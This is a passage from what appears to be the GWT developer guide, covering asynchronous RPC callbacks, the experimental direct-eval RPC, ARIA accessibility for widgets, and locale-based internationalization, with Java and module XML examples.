Browser mechanics aside, asynchronous RPC gives your application the ability to achieve true parallelism in your application, even without multi-threading. For example, suppose your application displays a large table containing many widgets. Constructing and laying out all those widgets can be time consuming. At the same time, you need to fetch data from the server to display inside the table. This is a perfect reason to use asynchronous calls. Initiate an asynchronous call to request the data immediately before you begin constructing your table and its widgets. While the server is fetching the required data, the browser is executing your user interface code. When the client finally receives the data from the server, the table has been constructed and laid out, and the data is ready to be displayed. To give you an idea of how effective this technique can be, suppose that building the table takes one second and fetching the data takes one second. If you make the server call synchronously, the whole process will require at least two seconds.

But if you fetch the data asynchronously, the whole process still takes just one second, even though you are doing two seconds' worth of work.

326 / 469

Tip: Most browsers restrict the number of outgoing network connections to two at a time, restricting the amount of parallelism you can expect from multiple simultaneous RPCs. The hardest thing to get used to about asynchronous calls is that the calls are non-blocking, however, Java inner classes go a long way toward making this manageable. Consider the following implementation of an asynchronous call adapted from the Dynamic Table sample application. It uses a slightly different syntax to define the required interface for the AsyncCallback object that is the last parameter to the getPeople RPC call:
// This code is called before the RPC starts // if (startRow == lastStartRow) { ... } // Invoke the RPC call, implementing the callback methods inline: // calService.getPeople(startRow, maxRows, new AsyncCallback<Person[]>() { // When the RPC returns, this code will be called if the RPC fails public void onFailure(Throwable caught) { statusLabel.setText("Query failed: " + caught.getMessage()); acceptor.failed(caught); } // When the RPC returns, this code is called if the RPC succeeds public void onSuccess(Person[] result) { lastStartRow = startRow; lastMaxRows = maxRows; lastPeople = result; pushResults(acceptor, startRow, result); statusLabel.setText("Query reutrned " + result.length + " rows."); } }); // The above method call will not block, but return immediately. // The following code will execute while the RPC is in progress, // before either of onFailure() or onSuccess() are executed. // statusLabel.setText("Query in progress..."); ...

The important issue to understand is that that the code that follows the RPC call invocation will be executed while the actual round trip to the server is still in progress. Although the code inside the onSuccess() method is defined inline with the call, it will not be executed until both the calling code returns back to the JavaScript main loop, and the result message from the server returns.

327 / 469

4.10.13. Direct-Eval RPC
Caution: This library should be considered experimental, but is available as a technology preview for early adopters. Please understand the limitations before using it. GWT 2.0 provides a new implementation of the GWT RPC subsystem. This new RPC code base (sometimes known as "direct-eval RPC" or "deRPC") is intended to improve the performance characteristics of the GWT RPC system and to provide a more malleable code base for adding new features.

Quickstart to switch to deRPC
• • • • Inherit com.google.gwt.rpc.RPC in your gwt.xml file Instead of extending the RemoteService interface, use RpcService instead. Similarly, the RpcServlet base class should be used instead of RemoteServiceServlet. For users that have advanced use cases, the following changes may be necessary: • The gwt.rpc file is now an opaque file that contains detailed information about each permutation and is now required in all cases by the server code. RpcServlet.findClientOracleData() can be overridden to change the default lookup behavior. A new base class com.google.gwt.user.server.rpc.HybridServiceServlet can serve both legacy and RPC clients.

General improvements
• • Client-side deserialization is significantly faster on some platforms and is immune from stack-depth problems on all platforms. Connections from a development mode session no longer require the exchange of a gwt.rpc file. In the -noserver case, it is no longer necessary to compile and deploy your application in order to subsequently debug it in development mode. For objects that follow the default serialization rules, no explicit serialization or deserialization code is required in the client-side JavaScript. Object graph traversal has been separated from payload generation in the serialization code in order to make the implementation code easier to extend. Limited support for communicating with previously-compiled permutations can be enabled by saving old gwt.rpc files and making them available through RpcServlet.findClientOracleData().

• • •

Known limitations
• • The deRPC server code is incompatible with Google App Engine for Java. This will be remedied in a future release. The payload size may be larger, which may be a consideration on slower networks or when there are many RPCs.

328 / 469

4.11. Accessibility Support
1. Overview 2. Making Widgets Accessible 3. Class com.google.gwt.user.client.ui.Accessibility 4. Adding ARIA Roles 5. Adding ARIA States 6. Adding Keyboard Accessibility 7. Indicating Selection Changes 8. Associating Meaningful Labels 9. Automatically Speaking Highlighted Content 10. General Advice For Widget Developers

4.11.1.

Overview

Screen Readers
A screen reader is an assistive application that interprets what is displayed on the screen for a blind or visually impaired user. Screen readers can interact with the user in a variety of ways, including speaking out loud or even producing a braille output.

Who uses screen readers?
Many people find it helpful to be able to interact with their computers in multiple ways. Though Google does not keep statistics on how many of our users are using screen readers, as the population ages, more people will require assistive technology. It is important to make sure that our applications are accessible for everybody.

How do screen readers work?
Screen readers listen for a standard set of events that are raised by platform-specific APIs. For example, when an alert window pops up on your screen, Microsoft Windows would expose this event using the Microsoft Active Accessibility API, while a Linux machine would use the Linux Access Toolkit. A screen reader will then communicate this change to the user.

GWT and Screen Readers
Ajax applications are often written in ways that screen readers have difficulty interpreting correctly. A GWT developer writing a tree widget, for example, might use a list element that has been altered to behave like a tree control. But a screen reader would present the control as a list - an incorrect description that renders the tree unusable. Screen readers will also treat HTML span or div elements as regular static text elements, regardless of the presence of JavaScript event handlers for user interaction; you can easily imagine how this causes problems.

ARIA
ARIA is a specification for making rich Internet applications accessible via a standard set of DOM properties. It is currently a work in progress at the W3C. More information can be found at this ARIA page referenced by the Mozilla Developer Center. Adding accessibility support to GWT widgets involves adding the relevant properties to DOM elements that can be used by browsers to raise events during user interaction. Screen readers can react to these events to represent the function of GWT widgets. The DOM properties specified by ARIA are classified into Roles and States. The ARIA property role is an indication of the widget type, and therefore describes the way the widget should behave. A role is static and does not change over the lifetime of widget. Some examples of ARIA roles: tree, menubar, menuitem, tab. The ARIA role of a widget is expressed as a DOM attribute named role with its value set to one of the ARIA role strings.

329 / 469

There are also ARIA properties that describe the state of a widget. For example, a checkbox widget could be in the states "checked" or "unchecked". A state is dynamic and should be updated during user interaction. Some examples of ARIA states: aria-disabled, aria-pressed, aria-expanded, aria-haspopup. Note that an ARIA state itself a DOM attribute -- for example, a toggle button widget that wants to express that it has been pressed will have an attribute aria-pressed set to true. The role of a widget determines the set of states that it supports. A widget with the role of list, for example, would not expose the aria-pressed state. Also, accessible widgets require keyboard support. Screen readers will speak the element that has keyboard focus, so keyboard accessibility can be accomplished by moving focus to different elements in response to keyboard commands.

GWT and ARIA
Once ARIA roles and states are added to the DOM of a GWT widget, browsers will raise the appropriate events to the screen reader. As ARIA is still a work in progress, browsers may not raise an event for every ARIA property, and screen readers may not recognize all of the events being raised. Many GWT widgets now have keyboard accessibility and ARIA properties. These include CustomButton, Tree, TreeItem, MenuBar, MenuItem, TabBar, and TabPanel. Also, all widgets that inherit from FocusWidget now have a tabindex by default, allowing for better keyboard navigation.

4.11.2.

Making Widgets Accessible

The remainder of this page describes how to add accessibility support to your GWT application and widgets. A variety of different techniques are discussed; there is not yet a standard and generally-applicable approach for making AJAX applications accessible, but we provide some suggestions.

4.11.3.

Class com.google.gwt.user.client.ui.Accessibility

The Accessibility class implements the needed accessor and modifier methods for manipulating DOM attributes defined by the ARIA specifications. It also defines constants for the ARIA role and state names, which are used by GWT widgets.

4.11.4.

Adding ARIA Roles

The ARIA attribute role is an indication of the widget type; it describes the way the widget should behave. Roles are static and should not change during the lifetime of a widget. Widget authors should: • • Pick the right role for the widget from the list of supported ARIA roles. Set this attribute at construction time.

The following is an example taken from the CustomButton widget. Adding the button role indicates to an assistive technology that the widget will behave like a button.
protected CustomButton() { ... // Add a11y role "button". Accessibility.ROLE_BUTTON is the String constant // "button" Accessibility.setRole(getElement(), "role", Accessibility.ROLE_BUTTON); ... }

Note that some of the role names have already been defined as constants in the Accessibility class.

4.11.5.

Adding ARIA States

An ARIA state is an additional attribute that reflects the current state of a widget; for example, whether a checkbox is checked or unchecked. A state should be initialized at the time a widget is constructed and updated during user interaction.

330 / 469

Note that: • • A widget can have numerous state attributes, whereas a widget can only ever have one role attribute. State attributes are dynamic and change during the widget's lifetime. A role once set does not change.

Also, some of the relevant state names are defined as constants in the Accessibility class.

Initializing States
Once a specific ARIA role has been associated with a widget, it is important to check which states are associated with that role. For example, the button role has two state attributes: aria-disabled Indicates that the widget is present, but is not allowed for user actions. aria-pressed Used for buttons that are toggleable to indicate their current pressed state. The aria-pressed state is not used in the CustomButton widget, as it is not supported by most screen readers yet. However, the code in the example below is the code that we would write when the aria-pressed state is better supported. In the CustomButton widget, the aria-pressed ARIA state is initialized as follows:
protected CustomButton() { ... // Add a11y state "aria-pressed" using the constant in the Accessibility class Accessibility.setState(getElement(), Accessibility.STATE_PRESSED, "false"); }

Updating States During User Interaction
The CustomButton widget has support for multiple button faces, giving developers more stylistic control. Also, unlike the Button widget, a CustomButton can be toggleable, as is the case with the CustomButton subclass ToggleButton. Event handlers attached to the underlying DOM element update the button faces when the button is pressed. At the same time, the Accessibility.setState(Element, String, String) method should be used to manipulate the DOM and update the value of the ARIA state aria-pressed:
void toggleDown() { ... // Update a11y state "aria-pressed" using the constant in the Accessibility class Accessibility.setState(getElement(), Accessibility.STATE_PRESSED, isDown() ? "true" : "false"); }

It is important to make sure that all event handlers that change the state of the widget also change the ARIA state.

4.11.6.

Adding Keyboard Accessibility

Keyboard accessibility is a key requirement when access-enabling GWT widgets. When developing a new widget, ensure that it is keyboard accessible from the outset; adding keyboard accessibility later can be difficult. Screen readers will speak the element that has keyboard focus, so keyboard accessibility can be accomplished by moving focus to different elements in response to keyboard commands. Proper keyboard accessibility affords the following end-user behavior: • • • Users can tab to move focus to the widget. When the widget receives focus, the screen reader will interpret the ARIA roles and states that are set on the widget. The screen reader will speak a description of the widget, and its textual content.

By default, the only elements in the HTML DOM that can receive keyboard focus are anchor and form fields. However, setting the DOM property tabIndex (note that this corresponds to HTML attribute tabindex) to 0 will place such elements in the default tab sequence and thereby enable them to receive keyboard focus. Setting tabIndex = -1, while removing the element from the tab sequence, still allows the element to receive keyboard focus programmatically.

331 / 469

In GWT, any widget that extends the FocusWidget abstract class will be keyboard focusable by default. The FocusWidget abstract class includes a setFocus(boolean) method that can be used to programmatically set the focus or remove focus on the widget. FocusWidget also includes a setTabIndex(int) method that allows the user to set the DOM property tabIndex for the widget. Keep in mind that extending FocusWidget does not guarantee focusability for your widget. The base element of the the FocusWidget (passed to the superclass constructor) must be a naturally focusable HTML element. For widgets that don't extend the FocusWidget abstract class, ensuring keyboard accessibility can be more difficult. Different browsers set focus in different ways, and focus on arbitrary elements is not supported everywhere. You can use FocusPanel to enclose elements that need to receive keyboard focus; just be sure to test your widget on different browsers. For an example of using the tabIndex property, see the MenuBar widget. The root menu is the only one that should be in the tab sequence; its sub-menus are not. To achieve this, the tab index is set to 0 in the MenuBar's constructor, and as new MenuBars are added as sub-menus, their tab indexes are reset to -1.

4.11.7.

Indicating Selection Changes

Some widgets, such as GWT's Tree and MenuBar widgets, consist of a container with a set of items. The container has a naturally focusable DOM element, but the items themselves do not. The focusable element receives all keyboard input, and causes visual changes in the contained items to indicate a change in item selection. For example, GWT's Tree widget contains TreeItems; both of these elements are made up of divs. However, the Tree also has a naturally focusable hidden element which receives keyboard events. Whenever the user hits the arrow keys, this element handles the event and causes the appropriate TreeItem to be highlighted. While this technique holds up for sighted users, it plays havoc with screen readers. Since the TreeItems themselves never get natural focus when selected, there is no way for the screen reader to know that the item selection has changed. One possible way to remedy this would be to have each TreeItem be naturally focusable. Unfortunately, TreeItems can contain more than just text -- they can contain other widgets, which themselves can be focusable. Here, delegating focus properly would be fairly complex -- each TreeItem would have to handle all of the key events for its child widget, and decide whether or not to delegate key events to its child (for user interaction with the child widget), or to handle the key events itself (for Tree navigation). Keep in mind that hooking up keyboard event handlers for each item would become unwieldy, as Trees may become very large. One can avoid doing this by relying on the natural event bubbling of key events, and having an element at the root of the Tree widget be responsible for receiving events. Another way to remedy the situation is to use the ARIA aria-activedescendant state. This state is set on an element that is naturally focusable, and its value is the HTML id of the currently-selected item. Whenever the item changes, the aria-activedescendant value should be updated to the id of the newly-selected item. The screen reader will notice the change in the value and read the element corresponding to the id. Below is an example of how this technique is used on the GWT Tree and TreeItem widgets. First, we set roles on the Tree's root element and its focusable element:
// Called from Tree(...) constructor private void init(TreeImages images, boolean useLeafImages) { ... // Root element of Tree is a div setElement(DOM.createDiv()); ... // Create naturally-focusable element focusable = FocusPanel.impl.createFocusable(); ... // Hide element and append it to root div DOM.setIntStyleAttribute(focusable, "zIndex", -1); DOM.appendChild(getElement(), focusable); // Listen for key events on the root element sinkEvents(Event.MOUSEEVENTS | Event.ONCLICK | Event.KEYEVENTS); ... // Add a11y role "tree" to root element Accessibility.setRole(getElement(), Accessibility.ROLE_TREE); // Add a11y role "treeitem" to focusable element. This is necessary for some screen // readers to interpret the aria-activedescendant state of this element. Accessibility.setRole(focusable, Accessibility.ROLE_TREEITEM);

}

332 / 469

Whenever an item selection changes, the value of the aria-activedescendant state is set on the focusable element, and the ARIA states of the currently-selected item are set:
// Called after a new item has been selected private void updateAriaAttributes() { // Get the element which contains the text (or widget) content within // the currently-selected TreeItem Element curSelectionContentElem = curSelection.getContentElem(); ... // Set the 'aria-level' state. To do this, we need to compute the level of // the currently selected item. Accessibility.setState(curSelectionContentElem, Accessibility.STATE_LEVEL, String.valueOf(curSelectionLevel + 1)); // Set other ARIA states ... // Update the 'aria-activedescendant' state for the focusable element to // match the id of the currently selected item. Accessibility.setState(focusable, Accessibility.STATE_ACTIVEDESCENDANT, DOM.getElementAttribute(curSelectionContentElem, "id"));

}

Though it is not shown in this code snippet, when TreeItems are created, they are constructed out of several divs, only one of which contains the content that we wish to be interpreted by the screen reader. This div is assigned a unique DOM id (which is generated using the DOM.createUniqueId() method), and a role of treeitem. These attributes are not set on the root TreeItem div because it contains a child image, which we do not want to be read.

Caveats with this Approach
The obvious problem with this approach is that unique DOM ids need to be assigned to all of the possible items that could be selected. While this is easy enough to implement, it seems unwieldy to assign a DOM id to each item. Also, there is a subtle problem with using the aria-activedescendant state. Originally, the intended use-case for this state was the implementation of a listbox with divs. Whenever the aria-activedescendant value of the parent div (which was the one with natural focus) would change, the screen reader would read out the text of the list item with the corresponding id, ignoring any roles or states set on the selected item. This is fine for widgets as simple as a listbox; the selected item has enough text for the user to understand what is selected. However, in the case of a Tree, the selected item's text may not be enough. For example, which level of the tree is the selected item on? Some screen readers have started to do more than just read the text of items selected with aria-activedescendant, interpreting the item just as they would any other element that received keyboard focus. However, not all screen readers do this yet.

4.11.8.

Associating Meaningful Labels

A web page will often include human-readable descriptive elements (such as Label and HTML widgets) that explain the purpose of a particular widget. However, the association between a widget and its description may not be obvious to a browser or a screen reader. ARIA defines the aria-labelledby state which can be used to explicitly associate a widget with one or more descriptive elements. In order to associate a label with a widget, ensure that descriptive elements all have a unique id. The assigned id can later be used with to set the aria-labelledby state of a widget to refer to the id values of any descriptive elements, thereby associating those descriptive elements with the widget.

4.11.9.

Automatically Speaking Highlighted Content

AJAX components often highlight an item of interest without moving keyboard focus to that item. This creates a good end-user experience when using components such as autocomplete widgets; the user can continue to type and obtain further refinements to the available set of choices. Because screen readers traditionally attempt to speak the item that has keyboard focus, they will not read highlighted items. ARIA live regions help make widgets such as autocomplete boxes usable for visually impaired users.

333 / 469

How It Works
The ARIA role region is used to declare areas that hold such live content, i.e., content that updates dynamically without having keyboard focus. The ARIA state aria-live on such regions specifies the priority of such updates; think of this as a politeness setting. Here is a code example that should provide the general idea of how to implement this technique for an auto-complete widget:

Initialize Live Region
The ARIA role region is added when instantiating the relevant DOM nodes in the AutoCompleteWidget constructor:
public AutoCompleteWidget() { ... // Create a hidden div where we store the current item text for a // screen reader to speak ariaElement = DOM.createDiv(); DOM.setStyleAttribute(ariaElement, "display", "none"); Accessibility.setRole(ariaElement, "role", "region"); Accessibility.setState(ariaElement, "aria-live", "rude"); DOM.appendChild(getElement(), ariaElement); }

Here, we have created a hidden div element that holds the content to be spoken. We've declared it to have role = 'region' and live = 'rude'; the latter setting specifies that updates to this content have the highest priority. Next, we set up the needed associations so that the set of suggestions returned as the user types into the AutoCompleteWidget's text box are put in hidden div:
// This method is called via a keyboard event handler private void showSuggestions(Collection suggestions) { if (suggestions.size() > 0) { // Popupulate the visible suggestion pop-up widget with the new selections // and show them .... // Generate the hidden div content based on the suggestions String hiddenDivText = "Suggestions "; for (Suggestion curSuggestion : suggestions) { hiddenDivText += " " + curSuggestion.getDisplayString(); } } } DOM.setInnerText(ariaElement, hiddenDivText);

Problems with this Approach
With this technique, the developer has complete control over the text that is spoken by the screen reader. While this seems like a good thing for the developer, it's not great for users of screen readers. Taking this approach, developers of AutoComplete widgets may decide on different text that the screen reader should read. For example, another screen reader might prefix each suggestion with the "Suggestion x", where x is the index of the suggestion in the list. This leads to an inconsistent experience across applications. If both developers were able to make use of ARIA roles and states, then a more consistent experience would result, in accordance with the ARIA specification. A more direct problem with this approach is internationalization. Most developers would realize that the list of suggestions needs to be translated into different languages; this list is directly displayed on the screen. However, the word 'Suggestions', which is the first word on the live region, could easily be missed, since it is never visually displayed to the user. These sorts of descriptive terms must also be translated. If ARIA roles and states could be used, then translation of the spoken terms associated with the roles and states would be the screen reader's job; developers would only need to be responsible for translating their content.

334 / 469

4.11.10.

General Advice For Widget Developers

First and foremost, use native HTML controls whenever possible. Native HTML controls are well understood by screen readers. They do not require ARIA roles and states, which has two main benefits: • • ARIA is not yet supported by all major browsers. Screen reader and browser developers have already done the work to make HTML controls accessible. Reimplementing native HTML controls using divs (for example) can cause poor performance. For example, suppose a developer were to re-implement a listbox using divs. One of the ARIA states that applies to the listitem role is aria-posinset. This value indicates the position of the item within its parent container, which corresponds to the item's index in the listbox. The problem is that every time an item is added or removed from the listbox, one has to iterate through all of the items in the list, adjusting their aria-posinset values. Though there are some optimizations that can be done, this is still much slower than native HTML select elements.

If native HTML controls cannot be used and a custom widget has to be built, keep in mind that it is much easier to develop an accessible widget from the beginning than to go back and add accessibility support to an existing widget. While adding ARIA roles and states is relatively easy, ensuring that the appropriate elements receive keyboard focus during user interaction can be more complicated. Also, widgets that subclass other widgets should end up with the appropriate ARIA roles and states. Your superclass widget might already specify a certain ARIA role, and while the Accessibility.setRole(Element, String) method will overwrite a previous ARIA role in the same element, a complicated DOM configuration may result in different ARIA roles being placed in different elements. Make sure to test that a new widget is accessible! There are three basic steps in the translation between the DOM and the screen reader: • DOM Since ARIA attributes are being added directly to the DOM, an easy way to check that the attributes are in the right location is to use a DOM inspector like Firebug. • Events It is important to make sure that the browser raises the appropriate events in response to ARIA attributes, changes in focus, and changes in the widget itself. A Microsoft tool called the Accessible Event Watcher, or AccEvent, can allow you to check which events are being raised. • Screen Reader In the end, the best way to verify that your GWT widgets are accessible is by using a screen reader. Some screen readers may not be listening for all of the events raised by the browser, or they might expect the ARIA attributes to be added to the DOM in certain locations. The most widely used screen readers with some support for ARIA are JAWS and Window-Eyes. FireVox, a free text-to-speech add-on for Firefox, also includes support for ARIA.

335 / 469

4.12. Internationalization
GWT includes a flexible set of tools to help you internationalize your applications and libraries. GWT internationalization support provides a variety of techniques to internationalize strings, typed values, and classes. Note: To run through the steps to internationalize a sample GWT app, see the tutorial Internationalizing a GWT Application. 1. 2. 3. 4. 5. Locales in GWT Static String Internationalization Dynamic String Internationalization Java Annotations Localized Properties Files

Quick Start with Internationalization
GWT supports a variety of ways of internationalizing your code. Start by researching which approach best matches your development requirements. • • • Are you using UiBinder? If so, you will probably want to read up on UiBinder's I18n support. Are you writing code from scratch? If so, you will probably want to read up on GWT's static string internationalization techniques. Do you want to want to store non-String localized values? Use the Constants or ConstantsWithLookup interfaces, which allow types such as primitives, String arrays, and String maps. Do you need to substitute parameters into the translated messages? Use Messages. Do you have existing localized properties files you'd like to reuse? The i18nCreator tool can automatically generate interfaces that extend either Constants, ConstantsWithLookup or Messages. Are you adding GWT functionality to an existing web application that already has a localization process defined? Dictionary will help you interoperate with existing pages without requiring you to use GWT's concept of locale. Do you really just want a simple way to get properties files down to the client regardless of localization? You can do that, too. Try using Constants and just not having any locale-specific property files.

• •

Internationalization Techniques
GWT offers multiple internationalization techniques to afford maximum flexibility to GWT developers and to make it possible to design for efficiency, maintainability, flexibility, and interoperability in whichever combinations are most useful. • Static string internationalization A family of efficient and type-safe techniques that rely on strongly-typed Java interfaces, properties files, and code generation to provide locale-aware messages and configuration settings. These techniques depend on the interfaces Constants, ConstantsWithLookup, and Messages. Dynamic string internationalization A simple and flexible technique for looking up localized values defined in a module's host page without needing to recompile your application. This technique is supported by the class Dictionary. Extending or implementing Localizable Provides a method for internationalizing sets of algorithms using locale-sensitive type substitution. This is an advanced technique that you probably will not need to use directly, although it is useful for implementing complex internationalized libraries. For details on this technique, see the Localizable class documentation.

336 / 469

The I18N Module
Core types related to internationalization: • • • • • • • • LocaleInfo Provides information about the current locale. Constants Useful for localizing typed constant values Messages Useful for localizing messages requiring arguments ConstantsWithLookup Like Constants but with extra lookup flexibility for highly data-driven applications Dictionary Useful when adding a GWT module to existing localized web pages Localizable Useful for localizing algorithms encapsulated in a class or when the classes above don't provide sufficient control DateTimeFormat Formatting dates as strings. See the section on date and number formatting. NumberFormat Formatting numbers as strings. See the section on date and number formatting.

The GWT internationalization types reside in the com.google.gwt.i18n package. To use any of these types, your module must inherit from the I18N module (com.google.gwt.i18n.I18N).
<module> <inherits name="com.google.gwt.i18n.I18N"/> </module>

As of GWT 1.5, the User module (com.google.gwt.user.User) inherits the I18N module. So if your project's module XML file inherits the User module (which generally it does), it does not need to specify explicitly an inherit for the I18N module.

4.12.1.

Locales in GWT

GWT is different than most toolkits by performing most locale-related work at compile time rather than runtime. This allows GWT to do compile-time error checking, such as when a parameter is left out or the translated value is not of the correct type, and for optimizations to take into account known facts about the locale. This also allows an end user to download only the translations that are relevant for them.

Overview
GWT represents locale as a client property whose value can be set either using a meta tag embedded in the host page or in the query string of the host page's URL. Rather than being supplied by GWT, the set of possible values for the locale client property is entirely a function of your module configuration.

Client Properties and the GWT Compilation Process
Client properties are key/value pairs that can be used to configure GWT modules. User agent, for example, is represented by a client property. Each client property can have any number of values, but all of the values must be enumerable when the GWT compiler runs. GWT modules can define and extend the set of available client properties along with the potential values each property might assume when loaded in an end user's browser using the <extendproperty> directive. At compile time, the GWT compiler determines all the possible permutations of a module's client properties, from which it produces multiple compilations. Each compilation is optimized for a different set of client properties and is recorded into a file ending with the suffix .cache.html. In deployment, the end-user's browser only needs one particular compilation, which is determined by mapping the end user's client properties onto the available compiled permutations. Thus, only the exact code required by the end user is downloaded, no more. By making locale a client property, the standard startup process in <module>.nocache.js chooses the appropriate localized version of an application, providing ease of use, optimized performance, and minimum script size. See the Knowledge Base for more information about the logic of the <modulename>.nocache.js file.

Adding Locale Choices to a Module
In any real-world application, you will define at least one locale in addition to the default locale. "Adding a locale" means extending the set of values of the locale client property using the <extend-property> element in your module XML. For example, the following module adds multiple locale values:

337 / 469

<module> <inherits name="com.google.gwt.user.User"/> <inherits name="com.google.gwt.i18n.I18N"/> <!-- French language, independent of country --> <extend-property name="locale" values="fr"/> <!-- French in France --> <extend-property name="locale" values="fr_FR"/> <!-- French in Canada --> <extend-property name="locale" values="fr_CA"/> <!-- English language, independent of country --> <extend-property name="locale" values="en"/> </module>

The Default Locale
The com.google.gwt.i18n.I18N module defines only one locale by default, called default. This default locale is used when the locale client property goes unspecified in deployment. The default locale is used internally as a lastresort match between a Localizable interface and a localized resource or class. In general, you should avoid running the app in the default locale — many things will produce surprising results. For example, only a small set of currencies will be supported, resulting in errors for applications that make use of other currencies, and no plural forms will be supported (since the language isn't known). If you really want to allow the application to continue running when the user requests an unsupported locale, you are probably better off choosing some real language as a default, such as en. You can set what value is used for the default by including the following in your module XML:
<set-property-fallback name="locale" value="en"/>

Specifying the Locale to Load
The locale client property can be specified using either a meta tag or as part of the query string in the host page's URL. If both are specified, the query string takes precedence. To specify the locale client property using a meta tag in the host page, embed a meta tag for gwt:property as follows:
<meta name="gwt:property" content="locale=x_Y">

For example, the following host HTML page sets the locale to "ja_JP":
<html> <head> <meta name="gwt:property" content="locale=ja_JP"> </head> <body> <!-- Load the GWT compiled module code --> <script src="com.google.gwt.examples.i18n.ColorNameLookupExample.nocache.js " /> </body> </html>

To specify the locale client property using a query string, specify a value for the name locale. For example, http://www.example.org/myapp.html?locale=fr_CA Tip: The preferred time to explicitly set locale is to do so before your GWT module is invoked. You can change the locale from within your GWT module by adding or changing the locale query string in the current URL and reloading the page. Keep in mind that after reloading the page, your module will restart.

Runtime Locales
For cases where the translated values are the same, but you still want country-specific details, you can use runtime locales to reduce the number of compiled permutations, but still get country-specific details like the default currency, number/date formatting rules, etc. 338 / 469

As an example, you might have one set of translations for all of Spanish as spoken in Latin America ( es_419), yet allow users to choose a country-specific locale such as Argentinian Spanish (es_AR). The easy way to use runtime locales is simply to add:
<inherits name="com.google.gwt.i18n.CldrLocales"/>

to your module XML file, and all locales that GWT knows about that inherit from your compile-time locale will be automatically included. You can see the result in the Showcase sample application.

Caveats
• • All the tables for all included runtime locales are included in the each appropriate compiled permutation, so this can increase download size. The tables for non-obvious locale inheritance and aliases are too large to be included in the selection script, so inheritance won't work properly in all cases. This means you either need to specifically control the set of possible locales, such as in the locale selector in the Showcase sample application, or have the server choose the locale using the proper inheritance tables (GwtLocaleFactoryImpl will be helpful here, and you will need a way to get the set of locales your application was built with). Only currency data, number format, and date/time formats are affected by runtime locales currently — everything else will only use the compile-time locale from the locale deferred binding property.

Creating a New Property Provider
If you are embedding your module into an existing application, there may be another way of determining locale that does not lend itself to using the <meta> tag or specifying locale= as a query string. In this case, you could write your own property provider. A property provider is specified in the module XML file as a JavaScript fragment that will return the value for the named property at runtime. In this case, you would want to define the locale property using a property provider. To see examples of <property-provider> definitions in action, see the files I18N.gwt.xml and UserAgent.gwt.xml in the GWT source code.

Programmatic Access to Locale Information
To get information about the current locale or the available set of locales, see the LocaleInfo class. For example: • To check if the current locale is a Right-to-Left locale:
if (LocaleInfo.getCurrentLocale().isRTL()) { ... }

To get a list of supported locales, such as for a locale selector:
for (String localeName : LocaleInfo.getAvailableLocaleNames()) { String displayName = LocaleInfo.getLocaleNativeDisplayName(localeName); ... }

Server/Generator Manipulation of Locales
GWT provides two classes to manipulate locales, which fully support aliases and locale inheritance. • • • GwtLocale represents a GWT locale, and supports converting to canonical form, producing search lists for locale inheritance and aliases, and provides accessors to the components of a locale. GwtLocaleFactory provides a way of creating new GwtLocale objects from locale names or their components (useful for converting from a java.util.Locale object). LocaleUtils provides easy access to GWT's locale infrastructure for a generator.

339 / 469

Get a GwtLocaleFactory instance:
GwtLocaleFactory factory = LocaleUtils.getLocaleFactory();

Get all locales for this compile, including runtime locales:
Set<GwtLocale> locales = localeUtils.getAllLocales();

GwtLocaleFactoryImpl provides a way to create GwtLocale instances on the server.

4.12.2.

Static String Internationalization

Static string internationalization is the most efficient way to localize your application for different locales in terms of runtime performance. This approach is called "static" because it refers to creating tags that are matched up with human readable strings at compile time. At compile time, mappings between tags and strings are created for all languages defined in the module. The module startup sequence maps the appropriate implementation based on the locale setting using deferred binding. Static string localization relies on code generation from standard Java properties files or annotations in the Java source. GWT supports static string localization through three tag interfaces (that is, interfaces having no methods that represent a functionality contract) and a code generation library to generate implementations of those interfaces.

Extending the Constants Interface
The Constants interface allows you to localize constant values in a type-safe manner, all resolved at compile time. At some cost of runtime overhead, you can also allow runtime lookup by key names with the ConstantsWithLookup interface.

Using the Messages Interface
The Messages interface allows you to substitute parameters into messages and to even re-order those parameters for different locales as needed. The format of the messages in the properties files follows the specification in Java MessageFormat. The interface you create will contain a Java method with parameters matching those specified in the format string. In addition, the Messages interface supports Plural Forms to allow your application to accurately reflect text changes based on the count of something.

Which Interface to Use?
Here are some guidelines to help choose the right interface for your application's needs: • Extend Constants to create a collection of constant values of a variety of types that can be accessed by calling methods (called constant accessors) on an interface. Constant accessors may return a variety of types, including strings, numbers, booleans, and even maps. A compile-time check is done to ensure that the value in a properties file matches the return type declared by its corresponding constant accessor. In other words, if a constant accessor is declared to return an int, its associated property is guaranteed to be a valid int value — avoiding a potential source of runtime errors. The ConstantsWithLookup interface is identical to Constants except that the interface also includes a method to look up values by property name, which facilitates dynamic binding to constants by name at runtime. ConstantsWithLookup can sometimes be useful in highly data-driven applications. One caveat: ConstantsWithLookup is less efficient than Constants because the compiler cannot discard unused constant methods, resulting in larger applications and the lookup cannot be resolved at compile-time. Extend Messages to create a collection of formatted messages that can accept parameters. You might think of the Messages interface as a statically verifiable equivalent of the traditional Java combination of Properties, ResourceBundle, and MessageFormat rolled into a single mechanism.

340 / 469

Properties Files
All of the types above use properties files based on the traditional Java properties file format, although GWT uses an enhanced properties file format that allows for UTF-8 and therefore allows properties files to contain Unicode characters directly.

4.12.3.

Dynamic String Internationalization

For existing applications that may not support the GWT locale client property, GWT offers dynamic string internationalization to easily integrate GWT internationalization. The Dictionary class lets your GWT application consume strings supplied by the host HTML page. This approach is convenient if your existing web server has a localization system that you do not wish to integrate with the static string internationalization methods. Instead, simply print your strings within the body of your HTML page as a JavaScript structure, and your GWT application can reference and display them to end users. Since it binds directly to the key/value pairs in the host HTML, whatever they may be, the Dictionary class is not sensitive to the GWT locale setting. Thus, the burden of generating localized strings is on your web server. Dynamic string localization allows you to look up localized strings defined in a host HTML page at runtime using stringbased keys. This approach is typically slower and larger than the static string approach, but does not require application code to be recompiled when messages are altered or the set of locales changes. Tip: The Dictionary class is completely dynamic, so it provides no static type checking, and invalid keys cannot be checked by the compiler. This is another reason we recommend using static string internationalization where possible.

4.12.4.

Java Annotations

The recommended approach for specifying the default values for Constants or Messages interfaces is using Java annotations. The advantage of this approach is that you can keep the values with the source, so when refactoring the interface or creating new methods in your IDE it is easier to keep things up to date. Also, if you are using a custom key generator or generating output files for translation, you need to use annotations. The annotations that apply everywhere are discussed here — for annotations that are only used on Constants and Messages are discussed there.

Class Annotations
